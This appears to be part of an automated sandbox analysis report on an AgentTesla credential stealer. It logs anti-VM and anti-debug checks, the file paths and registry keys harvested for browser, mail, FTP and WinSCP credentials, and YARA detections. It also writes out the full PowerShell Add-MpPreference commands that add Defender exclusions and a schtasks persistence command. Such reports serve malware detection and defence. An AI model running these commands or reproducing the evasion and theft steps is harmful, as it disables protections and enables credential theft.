Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 59383	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 40611	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 38635	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 61358	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 40064
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 99938
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 99984
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 99968
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 99969
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 99891
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 99906
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 79928
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 80063
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 79985

Source: dzoihohj75439.scr, 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: dzoihohj75439.scr, 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Code function: 13_2_001C5348 CheckRemoteDebuggerPresent,

13_2_001C5348

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory written: C:\Users\user\AppData\Roaming\dzoihohj75439.scr base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory written: C:\Users\user\AppData\Roaming\egFUHsL.exe base: 400000 value starts with: 4D5A

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\egFUHsL.exe C:\Users\user\AppData\Roaming\egFUHsL.exe
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp9A3D.tmp"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Users\user\AppData\Roaming\egFUHsL.exe "C:\Users\user\AppData\Roaming\egFUHsL.exe"

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Queries volume information: C:\Users\user\AppData\Roaming\dzoihohj75439.scr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Queries volume information: C:\Users\user\AppData\Roaming\dzoihohj75439.scr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Queries volume information: C:\Users\user\AppData\Roaming\egFUHsL.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Queries volume information: C:\Users\user\AppData\Roaming\egFUHsL.exe VolumeInformation

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 5.2.dzoihohj75439.scr.3419a00.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.33de1e0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.dzoihohj75439.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.3419a00.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dzoihohj75439.scr PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dzoihohj75439.scr PID: 3788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: egFUHsL.exe PID: 312, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\egFUHsL.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 5.2.dzoihohj75439.scr.3419a00.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.33de1e0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.dzoihohj75439.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.3419a00.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dzoihohj75439.scr PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dzoihohj75439.scr PID: 3788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: egFUHsL.exe PID: 312, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 5.2.dzoihohj75439.scr.3419a00.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.33de1e0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.dzoihohj75439.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.dzoihohj75439.scr.3419a00.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dzoihohj75439.scr PID: 3456, type: MEMORYSTR
